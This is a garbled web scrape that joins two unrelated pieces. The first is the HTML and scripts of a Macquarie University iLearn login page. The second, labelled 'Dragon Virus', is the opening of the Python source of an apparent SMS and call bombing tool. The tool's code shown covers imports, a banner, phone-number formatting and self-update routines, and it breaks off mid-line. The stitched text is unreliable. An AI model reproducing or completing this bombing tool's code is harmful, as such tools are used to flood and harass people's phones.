i=t(o),a=v(n),u=a.length,c=0;c<u;c++)a[c].apply(i,r);var f=s[w[n]];return f&&f.push([y,n,r,i]),i}}function d(e,t){b[e]=v(e).concat(t)}function v(e){return b[e]||[]}function g(e){return l[e]=l[e]||o(n)}function m(e,t){f(e,function(e,n){t=t||"feature",w[n]=t,t in s||(s[t]=[])})}var b={},w={},y={on:d,emit:n,get:g,listeners:v,context:t,buffer:m,abort:a,aborted:!1};return y}function i(){return new r}function a(){(s.api||s.feature)&&(p.aborted=!0,s=p.backlog={})}var u="nr@context",c=e("gos"),f=e(2),s={},l={},p=t.exports=o();p.backlog=s},{}],gos:[function(e,t,n){function r(e,t,n){if(o.call(e,t))return e[t];var r=n();if(Object.defineProperty&&Object.keys)try{return Object.defineProperty(e,t,{value:r,writable:!0,enumerable:!1}),r}catch(i){}return e[t]=r,r}var o=Object.prototype.hasOwnProperty;t.exports=r},{}],handle:[function(e,t,n){function r(e,t,n,r){o.buffer([e],r),o.emit(e,t,n)}var o=e("ee").get("handle");t.exports=r,r.ee=o},{}],id:[function(e,t,n){function r(e){var t=typeof e;return!e||"object"!==t&&"function"!==t?-1:e===window?0:a(e,i,function(){return o++})}var o=1,i="nr@id",a=e("gos");t.exports=r},{}],loader:[function(e,t,n){function r(){if(!h++){var e=y.info=NREUM.info,t=l.getElementsByTagName("script")[0];if(setTimeout(f.abort,3e4),!(e&&e.licenseKey&&e.applicationID&&t))return f.abort();c(b,function(t,n){e[t]||(e[t]=n)}),u("mark",["onload",a()],null,"api");var n=l.createElement("script");n.src="https://"+e.agent,t.parentNode.insertBefore(n,t)}}function o(){"complete"===l.readyState&&i()}function i(){u("mark",["domContent",a()],null,"api")}function a(){return(new Date).getTime()}var u=e("handle"),c=e(2),f=e("ee"),s=window,l=s.document,p="addEventListener",d="attachEvent",v=s.XMLHttpRequest,g=v&&v.prototype;NREUM.o={ST:setTimeout,CT:clearTimeout,XHR:v,REQ:s.Request,EV:s.Event,PR:s.Promise,MO:s.MutationObserver},e(1);var m=""+location,b={beacon:"bam.nr-data.net",errorBeacon:"bam.nr-data.net",agent:"js-agent.newrelic.com/nr-1016.min.js"},w=v&&g&&g[p]&&!/CriOS/.test(navigator.userAgent),y=t.exports={offset:a(),origin:m,features:{},xhrWrappable:w};l[p]?(l[p]("DOMContentLoaded",i,!1),s[p]("load",r,!1)):(l[d]("onreadystatechange",o),s[d]("onload",r)),u("mark",["firstbyte",a()],null,"api");var h=0},{}]},{},["loader"]);</script> <meta name="keywords" content="moodle, iLearn: Log in to the site" /> <link rel="stylesheet" type="text/css" href="https://ilearn.mq.edu.au/theme/yui_combo.php?r1487942275&rollup/3.17.2/yui-moodlesimple-min.css" /><script id="firstthemesheet" type="text/css">/** Required in order to fix style inclusion problems in IE with YUI **/</script><link rel="stylesheet" type="text/css" href="https://ilearn.mq.edu.au/theme/styles.php/mqu/1487942275/all" /> <script type="text/javascript"> //<![CDATA[ var M = {}; M.yui = {}; M.pageloadstarttime = new Date(); M.cfg = {"wwwroot":"https:\/\/ilearn.mq.edu.au","sesskey":"mDL5SddUvA","loadingicon":"https:\/\/ilearn.mq.edu.au\/theme\/image.php\/mqu\/core\/1487942275\/i\/loading_small","themerev":"1487942275","slasharguments":1,"theme":"mqu","jsrev":"1487942275","admin":"admin","svgicons":true};var yui1ConfigFn = function(me) {if(/-skin|reset|fonts|grids|base/.test(me.name)){me.type='css';me.path=me.path.replace(/\.js/,'.css');me.path=me.path.replace(/\/yui2-skin/,'/assets/skins/sam/yui2-skin')}}; var yui2ConfigFn = function(me) {var parts=me.name.replace(/^moodle-/,'').split('-'),component=parts.shift(),module=parts[0],min='-min';if(/-(skin|core)$/.test(me.name)){parts.pop();me.type='css';min=''};if(module){var filename=parts.join('-');me.path=component+'/'+module+'/'+filename+min+'.'+me.type}else me.path=component+'/'+component+'.'+me.type}; YUI_config = {"debug":false,"base":"https:\/\/ilearn.mq.edu.au\/lib\/yuilib\/3.17.2\/","comboBase":"https:\/\/ilearn.mq.edu.au\/theme\/yui_combo.php?r1487942275&","combine":true,"filter":null,"insertBefore":"firstthemesheet","groups":{"yui2":{"base":"https:\/\/ilearn.mq.edu.au\/lib\/yuilib\/2in3\/2.9.0\/build\/","comboBase":"https:\/\/ilearn.mq.edu.au\/theme\/yui_combo.php?r1487942275&","combine":true,"ext":false,"root":"2in3\/2.9.0\/build\/","patterns":{"yui2-":{"group":"yui2","configFn":yui1ConfigFn}}},"moodle":{"name":"moodle","base":"https:\/\/ilearn.mq.edu.au\/theme\/yui_combo.php?m\/1487942275\/","combine":true,"comboBase":"https:\/\/ilearn.mq.edu.au\/theme\/yui_combo.php?r1487942275&","ext":false,"root":"m\/1487942275\/","patterns":{"moodle-":{"group":"moodle","configFn":yui2ConfigFn}},"filter":null,"modules":{"moodle-core-actionmenu":{"requires":["base","event","node-event-simulate"]},"moodle-core-blocks":{"requires":["base","node","io","dom","dd","dd-scroll","moodle-core-dragdrop","moodle-core-notification"]},"moodle-core-checknet":{"requires":["base-base","moodle-core-notification-alert","io-base"]},"moodle-core-chooserdialogue":{"requires":["base","panel","moodle-core-notification"]},"moodle-core-dock":{"requires":["base","node","event-custom","event-mouseenter","event-resize","escape","moodle-core-dock-loader","moodle-core-event"]},"moodle-core-dock-loader":{"requires":["escape"]},"moodle-core-dragdrop":{"requires":["base","node","io","dom","dd","event-key","event-focus","moodle-core-notification"]},"moodle-core-event":{"requires":["event-custom"]},"moodle-core-formautosubmit":{"requires":["base","event-key"]},"moodle-core-formchangechecker":{"requires":["base","event-focus","moodle-core-event"]},"moodle-core-handlebars":{"condition":{"trigger":"handlebars","when":"after"}},"moodle-core-languninstallconfirm":{"requires":["base","node","moodle-core-notification-confirm","moodle-core-notification-alert"]},"moodle-core-lockscroll":{"requires":["plugin","base-build"]},"moodle-core-maintenancemodetimer":{"requires":["base","node"]},"moodle-core-notification":{"requires":["moodle-core-notification-dialogue","moodle-core-notification-alert","moodle-core-notification-confirm","moodle-core-notification-exception","moodle-core-notification-ajaxexception"]},"moodle-core-notification-dialogue":{"requires":["base","node","panel","escape","event-key","dd-plugin","moodle-core-widget-focusafterclose","moodle-core-lockscroll"]},"moodle-core-notification-alert":{"requires":["moodle-core-notification-dialogue"]},"moodle-core-notification-confirm":{"requires":["moodle-core-notification-dialogue"]},"moodle-core-notification-exception":{"requires":["moodle-core-notification-dialogue"]},"moodle-core-notification-ajaxexception":{"requires":["moodle-core-notification-dialogue"]},"moodle-core-popuphelp":{"requires":["moodle-core-tooltip"]},"moodle-core-session-extend":{"requires":["base","node","io-base","panel","dd-plugin"]},"moodle-core-tooltip":{"requires":["base","node","io-base","moodle-core-notification-dialogue","json-parse","widget-position","widget-position-align","event-outside","cache-base"]},"moodle-core_availability-form":{"requires":["base","node","event","panel","moodle-core-notification-dialogue","json"]},"moodle-backup-backupselectall":{"requires":["node","event","node-event-simulate","anim"]},"moodle-backup-confirmcancel":{"requires":["node","node-event-simulate","moodle-core-notification-confirm"]},"moodle-calendar-info":{"requires":["base","node","event-mouseenter","event-key","overlay","moodle-calendar-info-skin"]},"moodle-course-categoryexpander":{"requires":["node","event-key"]},"moodle-course-dragdrop":{"requires":["base","node","io","dom","dd","dd-scroll","moodle-core-dragdrop","moodle-core-notification","moodle-course-coursebase","moodle-course-util"]},"moodle-course-formatchooser":{"requires":["base","node","node-event-simulate"]},"moodle-course-management":{"requires":["base","node","io-base","moodle-core-notification-exception","json-parse","dd-constrain","dd-proxy","dd-drop","dd-delegate","node-event-delegate"]},"moodle-course-modchooser":{"requires":["moodle-core-chooserdialogue","moodle-course-coursebase"]},"moodle-course-toolboxes":{"requires":["node","base","event-key","node","io","moodle-course-coursebase","moodle-course-util"]},"moodle-course-util":{"requires":["node"],"use":["moodle-course-util-base"],"submodules":{"moodle-course-util-base":{},"moodle-course-util-section":{"requires":["node","moodle-course-util-base"]},"moodle-course-util-cm":{"requires":["node","moodle-course-util-base"]}}},"moodle-form-dateselector":{"requires":["base","node","overlay","calendar"]},"moodle-form-passwordunmask":{"requires":["node","base"]},"moodle-form-shortforms":{"requires":["node","base","selector-css3","moodle-core-event"]},"moodle-form-showadvanced":{"requires":["node","base","selector-css3"]},"moodle-core_message-messenger":{"requires":["escape","handlebars","io-base","moodle-core-notification-ajaxexception","moodle-core-notification-alert","moodle-core-notification-dialogue","moodle-core-notification-exception"]},"moodle-core_message-deletemessage":{"requires":["node","event"]},"moodle-question-chooser":{"requires":["moodle-core-chooserdialogue"]},"moodle-question-preview":{"requires":["base","dom","event-delegate","event-key","core_question_engine"]},"moodle-question-qbankmanager":{"requires":["node","selector-css3"]},"moodle-question-searchform":{"requires":["base","node"]},"moodle-availability_completion-form":{"requires":["base","node","event","moodle-core_availability-form"]},"moodle-availability_date-form":{"requires":["base","node","event","io","moodle-core_availability-form"]},"moodle-availability_grade-form":{"requires":["base","node","event","moodle-core_availability-form"]},"moodle-availability_group-form":{"requires":["base","node","event","moodle-core_availability-form"]},"moodle-availability_grouping-form":{"requires":["base","node","event","moodle-core_availability-form"]},"moodle-availability_profile-form":{"requires":["base","node","event","moodle-core_availability-form"]},"moodle-qtype_ddimageortext-dd":{"requires":["node","dd","dd-drop","dd-constrain"]},"moodle-qtype_ddimageortext-form":{"requires":["moodle-qtype_ddimageortext-dd","form_filepicker"]},"moodle-qtype_ddmarker-dd":{"requires":["node","event-resize","dd","dd-drop","dd-constrain","graphics"]},"moodle-qtype_ddmarker-form":{"requires":["moodle-qtype_ddmarker-dd","form_filepicker","graphics","escape"]},"moodle-qtype_ddwtos-dd":{"requires":["node","dd","dd-drop","dd-constrain"]},"moodle-mod_assign-history":{"requires":["node","transition"]},"moodle-mod_attendance-groupfilter":{"requires":["base","node"]},"moodle-mod_dialogue-autocomplete":{"requires":["base","node","json-parse","autocomplete","autocomplete-filters","autocomplete-highlighters","event","event-key"]},"moodle-mod_dialogue-clickredirector":{"requires":["base","node","json-parse","clickredirector","clickredirector-filters","clickredirector-highlighters","event","event-key"]},"moodle-mod_dialogue-userpreference":{"requires":["base","node","json-parse","userpreference","userpreference-filters","userpreference-highlighters","event","event-key"]},"moodle-mod_forum-subscriptiontoggle":{"requires":["base-base","io-base"]},"moodle-mod_oublog-savecheck":{"requires":["base","node","io","panel","moodle-core-notification-alert"]},"moodle-mod_oublog-tagselector":{"requires":["base","node","autocomplete","autocomplete-filters","autocomplete-highlighters"]},"moodle-mod_quiz-autosave":{"requires":["base","node","event","event-valuechange","node-event-delegate","io-form"]},"moodle-mod_quiz-dragdrop":{"requires":["base","node","io","dom","dd","dd-scroll","moodle-core-dragdrop","moodle-core-notification","moodle-mod_quiz-quizbase","moodle-mod_quiz-util-base","moodle-mod_quiz-util-page","moodle-mod_quiz-util-slot","moodle-course-util"]},"moodle-mod_quiz-modform":{"requires":["base","node","event"]},"moodle-mod_quiz-questionchooser":{"requires":["moodle-core-chooserdialogue","moodle-mod_quiz-util","querystring-parse"]},"moodle-mod_quiz-quizbase":{"requires":["base","node"]},"moodle-mod_quiz-quizquestionbank":{"requires":["base","event","node","io","io-form","yui-later","moodle-question-qbankmanager","moodle-core-notification-dialogue"]},"moodle-mod_quiz-randomquestion":{"requires":["base","event","node","io","moodle-core-notification-dialogue"]},"moodle-mod_quiz-repaginate":{"requires":["base","event","node","io","moodle-core-notification-dialogue"]},"moodle-mod_quiz-toolboxes":{"requires":["base","node","event","event-key","io","moodle-mod_quiz-quizbase","moodle-mod_quiz-util-slot","moodle-core-notification-ajaxexception"]},"moodle-mod_quiz-util":{"requires":["node"],"use":["moodle-mod_quiz-util-base"],"submodules":{"moodle-mod_quiz-util-base":{},"moodle-mod_quiz-util-slot":{"requires":["node","moodle-mod_quiz-util-base"]},"moodle-mod_quiz-util-page":{"requires":["node","moodle-mod_quiz-util-base"]}}},"moodle-message_airnotifier-toolboxes":{"requires":["base","node","io"]},"moodle-filter_glossary-autolinker":{"requires":["base","node","io-base","json-parse","event-delegate","overlay","moodle-core-event","moodle-core-notification-alert","moodle-core-notification-exception","moodle-core-notification-ajaxexception"]},"moodle-filter_mathjaxloader-loader":{"requires":["moodle-core-event"]},"moodle-editor_atto-editor":{"requires":["node","transition","io","overlay","escape","event","event-simulate","event-custom","node-event-html5","node-event-simulate","yui-throttle","moodle-core-notification-dialogue","moodle-core-notification-confirm","moodle-editor_atto-rangy","handlebars","timers","querystring-stringify"]},"moodle-editor_atto-plugin":{"requires":["node","base","escape","event","event-outside","handlebars","event-custom","timers","moodle-editor_atto-menu"]},"moodle-editor_atto-menu":{"requires":["moodle-core-notification-dialogue","node","event","event-custom"]},"moodle-editor_atto-rangy":{"requires":[]},"moodle-report_eventlist-eventfilter":{"requires":["base","event","node","node-event-delegate","datatable","autocomplete","autocomplete-filters"]},"moodle-report_loglive-fetchlogs":{"requires":["base","event","node","io","node-event-delegate"]},"moodle-gradereport_grader-gradereporttable":{"requires":["base","node","event","handlebars","overlay","event-hover"]},"moodle-gradereport_history-userselector":{"requires":["escape","event-delegate","event-key","handlebars","io-base","json-parse","moodle-core-notification-dialogue"]},"moodle-tool_capability-search":{"requires":["base","node"]},"moodle-tool_lp-dragdrop-reorder":{"requires":["moodle-core-dragdrop"]},"moodle-assignfeedback_editpdf-editor":{"requires":["base","event","node","io","graphics","json","event-move","event-resize","transition","querystring-stringify-simple","moodle-core-notification-dialog","moodle-core-notification-exception","moodle-core-notification-ajaxexception"]},"moodle-atto_accessibilitychecker-button":{"requires":["color-base","moodle-editor_atto-plugin"]},"moodle-atto_accessibilityhelper-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_align-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_bold-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_charmap-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_chemistry-button":{"requires":["moodle-editor_atto-plugin","moodle-core-event","io","event-valuechange","tabview","array-extras"]},"moodle-atto_clear-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_collapse-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_emoticon-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_equation-button":{"requires":["moodle-editor_atto-plugin","moodle-core-event","io","event-valuechange","tabview","array-extras"]},"moodle-atto_html-button":{"requires":["moodle-editor_atto-plugin","event-valuechange"]},"moodle-atto_image-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_indent-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_italic-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_link-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_managefiles-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_managefiles-usedfiles":{"requires":["node","escape"]},"moodle-atto_media-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_noautolink-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_orderedlist-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_rtl-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_strike-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_subscript-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_superscript-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_table-button":{"requires":["moodle-editor_atto-plugin","moodle-editor_atto-menu","event","event-valuechange"]},"moodle-atto_title-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_underline-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_undo-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_unorderedlist-button":{"requires":["moodle-editor_atto-plugin"]}}},"gallery":{"name":"gallery","base":"https:\/\/ilearn.mq.edu.au\/lib\/yuilib\/gallery\/","combine":true,"comboBase":"https:\/\/ilearn.mq.edu.au\/theme\/yui_combo.php?","ext":false,"root":"gallery\/1487942275\/","patterns":{"gallery-":{"group":"gallery"}}}},"modules":{"core_filepicker":{"name":"core_filepicker","fullpath":"https:\/\/ilearn.mq.edu.au\/lib\/javascript.php\/1487942275\/repository\/filepicker.js","requires":["base","node","node-event-simulate","json","async-queue","io-base","io-upload-iframe","io-form","yui2-treeview","panel","cookie","datatable","datatable-sort","resize-plugin","dd-plugin","escape","moodle-core_filepicker"]},"core_comment":{"name":"core_comment","fullpath":"https:\/\/ilearn.mq.edu.au\/lib\/javascript.php\/1487942275\/comment\/comment.js","requires":["base","io-base","node","json","yui2-animation","overlay"]}}}; M.yui.loader = {modules: {}}; //]]> </script> <meta name="robots" content="noindex" /> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script> <![endif]--> <link rel="apple-touch-icon-precomposed" href="https://ilearn.mq.edu.au/theme/image.php/mqu/theme/1487942275/apple-touch-icon-144-precomposed" sizes="144x144"> <link rel="shortcut icon" href="https://ilearn.mq.edu.au/theme/image.php/mqu/theme/1487942275/favicon"> </head> <body id="page-login-index" class="format-site path-login gecko dir-ltr lang-en yui-skin-sam yui3-skin-sam ilearn-mq-edu-au pagelayout-login course-1 context-1 notloggedin content-only layout-option-noblocks layout-option-nocourseheaderfooter layout-option-nocustommenu layout-option-nofooter layout-option-nonavbar"> <div class="skiplinks"><a class="skip" href="#maincontent">Skip to main content</a></div> <script type="text/javascript" src="https://ilearn.mq.edu.au/theme/yui_combo.php?r1487942275&rollup/3.17.2/yui-moodlesimple-min.js&rollup/1487942275/mcore-min.js"></script><script type="text/javascript" src="https://ilearn.mq.edu.au/theme/jquery.php/r1487942275/core/jquery-1.12.1.min.js"></script> <script type="text/javascript" src="https://ilearn.mq.edu.au/lib/javascript.php/1487942275/lib/javascript-static.js"></script> <script type="text/javascript"> //<![CDATA[ document.body.className += ' jsenabled'; //]]> </script> <div id="nice_debug_area"></div> <header id="page-header"> <div class="container"> <div class="login-logos"> <div class="mq-logo"> <a class="login-logo" href="http://ilearn.mq.edu.au"><img alt="Macquarie University" src="https://ilearn.mq.edu.au/theme/image.php/mqu/theme/1487942275/login-logo"></a> </div><!-- /.mq-logo --> <div class="ilearn-logo"> <a class="login-logo-ilearn" href="http://ilearn.mq.edu.au"><img alt="iLearn" src="https://ilearn.mq.edu.au/theme/image.php/mqu/theme/1487942275/ilearn-logo"></a> </div><!-- /.ilearn-logo --> </div><!-- /.login-logos --> </div><!-- /.container --> </header><!-- #page-header --> <div id="page"> <div class="container" id="page-content"> <div class="login-wing login-wing-left"></div> <div class="login-wing login-wing-right"></div> <h1 class="login-h1">iLearn Login</h1> <span class="notifications" id="user-notifications"></span><div role="main"><span id="maincontent"></span><div class="loginbox clearfix twocolumns"> <div class="loginpanel"> <h2>Log in</h2> <div class="subcontent loginsub"> <form action="https://ilearn.mq.edu.au/login/index.php" method="post" id="login" > <div class="loginform"> <div class="form-label"><label for="username">Username</label></div> <div class="form-input"> <input type="text" name="username" id="username" size="15" tabindex="1" value="" /> </div> <div class="clearer"><!-- --></div> <div class="form-label"><label for="password">Password</label></div> <div class="form-input"> <input type="password" name="password" id="password" size="15" tabindex="2" value="" /> </div> </div> <div class="clearer"><!-- --></div> <div class="clearer"><!-- --></div> <input id="anchor" type="hidden" name="anchor" value="" /> <script>document.getElementById('anchor').value = location.hash</script> <input type="submit" id="loginbtn" value="Log in" /> <div class="forgetpass"><a href="forgot_password.php">Forgotten your username or password?</a></div> </form> <script type="text/javascript"> $(document).ready(function(){ var input = document.getElementById ("username"); input.focus(); }); </script> <div class="desc"> Cookies must be enabled in your browser<span class="helptooltip"><a href="https://ilearn.mq.edu.au/help.php?component=moodle&identifier=cookiesenabled&lang=en" title="Help with Cookies must be enabled in your browser" aria-haspopup="true" target="_blank"><img src="https://ilearn.mq.edu.au/theme/image.php/mqu/core/1487942275/help" alt="Help with Cookies must be enabled in your browser" class="iconhelp" /></a></span> </div> </div> </div> <div class="signuppanel"> <h2>Is this your first time here?</h2> <div class="subcontent"> </div> </div> <script> dataLayer = []; </script> <!-- Google Tag Manager --> <noscript><iframe src="//www.googletagmanager.com/ns.html?id=GTM-MQZTHB" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript> <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= '//www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-MQZTHB');</script> <!-- End Google Tag Manager --> </div> </div><!-- /.container #page-content --> </div><!-- /#page --> <footer id="page-footer"> <div class="container"> <ul class="page-footer-ul"> <li><a href="http://help.ilearn.mq.edu.au/" target="_blank">iLearn Help and FAQ</a></li> <li><a href="https://oneid.mq.edu.au/" target="_blank">Forgotten your password?</a></li> <li><a href="http://status.ilearn.mq.edu.au/" target="_blank">iLearn Status</a></li> </ul><!-- /.page-footer-ul --> <div class="login-footer-info"> <p>If you are having trouble accessing your online unit due to a disability or health condition, please go to the <a href="http://www.students.mq.edu.au/support/accessibility_services" target="_blank">Student Services Website</a> for information on how to get assistance</p> <p>All material available on iLearn belongs to Macquarie University or has been copied and communicated to Macquarie staff and students under statutory licences and educational exceptions under Australian copyright law. This material is provided for the educational purposes of Macquarie students and staff. It is illegal to copy and distribute this material beyond iLearn except in very limited circumstances and as provided by specific copyright exceptions.</p> </div><!-- /.login-footer-info --> <div class="login-footer-link"> <div class="bootstrap-row"> <div class="col-md-7"> <p>© Copyright Macquarie University | <a href="http://www.mq.edu.au/privacy/privacy.html" target="_blank">Privacy</a> | <a href="http://www.mq.edu.au/accessibility.html" target="_blank">Accessibility Information</a></p> </div><!-- /.col-md-7 --> <div class="col-md-5"> <p>ABN 90 952 801 237 | CRICOS Provider 00002J</p> </div><!-- /.col-md-5 --> </div><!-- /.bootstrap-row --> </div><!-- /.login-footer-link --> </div><!-- /.container --> </footer><!-- /#page-footer --> <script type="text/javascript"> //<![CDATA[ var require = { baseUrl : 'https://ilearn.mq.edu.au/lib/requirejs.php/1487942275/', // We only support AMD modules with an explicit define() statement. enforceDefine: true, skipDataMain: true, waitSeconds : 0, paths: { jquery: 'https://ilearn.mq.edu.au/lib/javascript.php/1487942275/lib/jquery/jquery-1.12.1.min', jqueryui: 'https://ilearn.mq.edu.au/lib/javascript.php/1487942275/lib/jquery/ui-1.11.4/jquery-ui.min', jqueryprivate: 'https://ilearn.mq.edu.au/lib/javascript.php/1487942275/lib/requirejs/jquery-private' }, // Custom jquery config map. map: { // '*' means all modules will get 'jqueryprivate' // for their 'jquery' dependency. '*': { jquery: 'jqueryprivate' }, // 'jquery-private' wants the real jQuery module // though. If this line was not here, there would // be an unresolvable cyclic dependency. jqueryprivate: { jquery: 'jquery' } } }; //]]> </script> <script type="text/javascript" src="https://ilearn.mq.edu.au/lib/javascript.php/1487942275/lib/requirejs/require.min.js"></script> <script type="text/javascript"> //<![CDATA[ require(['core/first'], function() { ; require(["core/notification"], function(amd) { amd.init(1, [], false); });; require(["core/log"], function(amd) { amd.setConfig({"level":"warn"}); }); }); //]]> </script> <script type="text/javascript"> //<![CDATA[ M.yui.add_module({"mathjax":{"name":"mathjax","fullpath":"https:\/\/cdn.mathjax.org\/mathjax\/2.6-latest\/MathJax.js?delayStartupUntil=configured"}}); //]]> </script> <script type="text/javascript" src="https://ilearn.mq.edu.au/theme/javascript.php/mqu/1487942275/footer"></script> <script type="text/javascript"> //<![CDATA[ M.str = {"moodle":{"lastmodified":"Last modified","name":"Name","error":"Error","info":"Information","namedfiletoolarge":"The file '{$a->filename}' is too large and cannot be uploaded","yes":"Yes","no":"No","morehelp":"More help","loadinghelp":"Loading...","cancel":"Cancel","ok":"OK","confirm":"Confirm","areyousure":"Are you sure?","closebuttontitle":"Close","unknownerror":"Unknown error"},"repository":{"type":"Type","size":"Size","invalidjson":"Invalid JSON string","nofilesattached":"No files attached","filepicker":"File picker","logout":"Logout","nofilesavailable":"No files available","norepositoriesavailable":"Sorry, none of your current repositories can return files in the required format.","fileexistsdialogheader":"File exists","fileexistsdialog_editor":"A file with that name has already been attached to the text you are editing.","fileexistsdialog_filemanager":"A file with that name has already been attached","renameto":"Rename to \"{$a}\"","referencesexist":"There are {$a} alias\/shortcut files that use this file as their source","select":"Select"},"admin":{"confirmdeletecomments":"You are about to delete comments, are you sure?","confirmation":"Confirmation"},"block":{"addtodock":"Move this to the dock","undockitem":"Undock this item","dockblock":"Dock {$a} block","undockblock":"Undock {$a} block","undockall":"Undock all","hidedockpanel":"Hide the dock panel","hidepanel":"Hide panel"},"langconfig":{"thisdirectionvertical":"btt"}}; //]]> </script> <script type="text/javascript"> //<![CDATA[ (function() {M.util.load_flowplayer(); setTimeout("fix_column_widths()", 20); Y.use("moodle-core-dock-loader",function() {M.core.dock.loader.initLoader(); }); M.util.help_popups.setup(Y); Y.use("moodle-core-popuphelp",function() {M.core.init_popuphelp(); }); M.util.js_pending('random58b8dd8d3abcf2'); Y.on('domready', function() { M.util.move_debug_messages(Y); M.util.js_complete('random58b8dd8d3abcf2'); }); M.util.js_pending('random58b8dd8d3abcf3'); Y.on('domready', function() { M.util.netspot_perf_info(Y, "00000000:0423_00000000:0050_58B8DD8D_30F8F6D:3B0C", 1488510349.1968); M.util.js_complete('random58b8dd8d3abcf3'); }); M.util.init_skiplink(Y); Y.use("moodle-filter_glossary-autolinker",function() {M.filter_glossary.init_filter_autolinking({"courseid":0}); }); Y.use("moodle-filter_mathjaxloader-loader",function() {M.filter_mathjaxloader.configure({"mathjaxconfig":"\nMathJax.Hub.Config({\n config: [\"Accessible.js\", \"Safe.js\"],\n errorSettings: { message: [\"!\"] },\n skipStartupTypeset: true,\n messageStyle: \"none\",\n TeX: {\n extensions: [\"mhchem.js\",\"color.js\",\"AMSmath.js\",\"AMSsymbols.js\",\"noErrors.js\",\"noUndefined.js\"]\n }\n});\n ","lang":"en"}); }); M.util.js_pending('random58b8dd8d3abcf5'); Y.on('domready', function() { M.util.js_complete("init"); M.util.js_complete('random58b8dd8d3abcf5'); }); })(); //]]> </script> <script type="text/javascript">window.NREUM||(NREUM={});NREUM.info={"beacon":"bam.nr-data.net","licenseKey":"d6bb71fb66","applicationID":"3373525,3377726","transactionName":"YVMHYkVQWkIAUERQDFgZMEReHlheBlpeFgpYUgBOGUFcQQ==","queueTime":0,"applicationTime":48,"atts":"TRQEFA1KSUw=","errorBeacon":"bam.nr-data.net","agent":""}</script></body> </html>
Anonymous69-hub / Dragon Virus 2.01eh6mqlqs5@xdsedr.tech#!/usr/bin/python # -*- coding: UTF-8 -*- import os import shutil import sys import subprocess import string import random import json import re import time import argparse import zipfile from io import BytesIO from concurrent.futures import ThreadPoolExecutor, as_completed from utils.decorators import MessageDecorator from utils.provider import APIProvider try: import requests from colorama import Fore, Style except ImportError: print("\tSome dependencies could not be imported (possibly not installed)") print( "Type `pip3 install -r requirements.txt` to " " install all required packages") sys.exit(1) def readisdc(): with open("isdcodes.json") as file: isdcodes = json.load(file) return isdcodes def get_version(): try: return open(".version", "r").read().strip() except Exception: return '1.0' def clr(): if os.name == "nt": os.system("cls") else: os.system("clear") def bann_text(): clr() logo = """ ████████ █████ ██ ▒▒▒██▒▒▒ ██▒▒██ ██ ██ ██ ██ ██ ██ ██ ██ █████▒ ████ ███ ███ █████ ██ ██▒▒██ ██ ██ ██▒█▒██ ██▒▒██ ██ ██ ██ ██ ██ ██ ▒ ██ ██ ██ ██ █████▒ ▒████▒ ██ ██ █████▒ ▒▒ ▒▒▒▒▒ ▒▒▒▒ ▒▒ ▒▒ ▒▒▒▒▒ """ if ASCII_MODE: logo = "" version = "Version: "+__VERSION__ contributors = "Contributors: "+" ".join(__CONTRIBUTORS__) print(random.choice(ALL_COLORS) + logo + RESET_ALL) mesgdcrt.SuccessMessage(version) mesgdcrt.SectionMessage(contributors) print() def check_intr(): try: requests.get("https://motherfuckingwebsite.com") except Exception: bann_text() mesgdcrt.FailureMessage("Poor internet connection detected") sys.exit(2) def format_phone(num): num = [n for n in num if n in string.digits] return ''.join(num).strip() def do_zip_update(): success = False if DEBUG_MODE: zip_url = "https://github.com/TheSpeedX/TBomb/archive/dev.zip" dir_name = "TBomb-dev" else: zip_url = "https://github.com/TheSpeedX/TBomb/archive/master.zip" dir_name = "TBomb-master" print(ALL_COLORS[0]+"Downloading ZIP ... "+RESET_ALL) response = requests.get(zip_url) if response.status_code == 200: zip_content = response.content try: with zipfile.ZipFile(BytesIO(zip_content)) as zip_file: for member in zip_file.namelist(): filename = os.path.split(member) if not filename[1]: continue new_filename = os.path.join( filename[0].replace(dir_name, "."), filename[1]) source = zip_file.open(member) target = open(new_filename, "wb") with source, target: shutil.copyfileobj(source, target) success = True except Exception: mesgdcrt.FailureMessage("Error occured while extracting !!") if success: mesgdcrt.SuccessMessage("TBomb was updated to the latest version") mesgdcrt.GeneralMessage( "Please run the script again to load the latest version") else: mesgdcrt.FailureMessage("Unable to update TBomb.") mesgdcrt.WarningMessage( "Grab The Latest one From https://github.com/TheSpeedX/TBomb.git") sys.exit() def do_git_update(): success = False try: print(ALL_COLORS[0]+"UPDATING "+RESET_ALL, end='') process = subprocess.Popen("git checkout . && git pull ", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) while process: print(ALL_COLORS[0]+'.'+RESET_ALL, end='') time.sleep(1) returncode = process.poll() if returncode is not None: break success = not process.returncode except Exception: success = False print("\n") if success: mesgdcrt.SuccessMessage("TBomb was updated to the latest version") mesgdcrt.GeneralMessage( "Please run the script again to load the latest version") else: mesgdcrt.FailureMessage("Unable to update 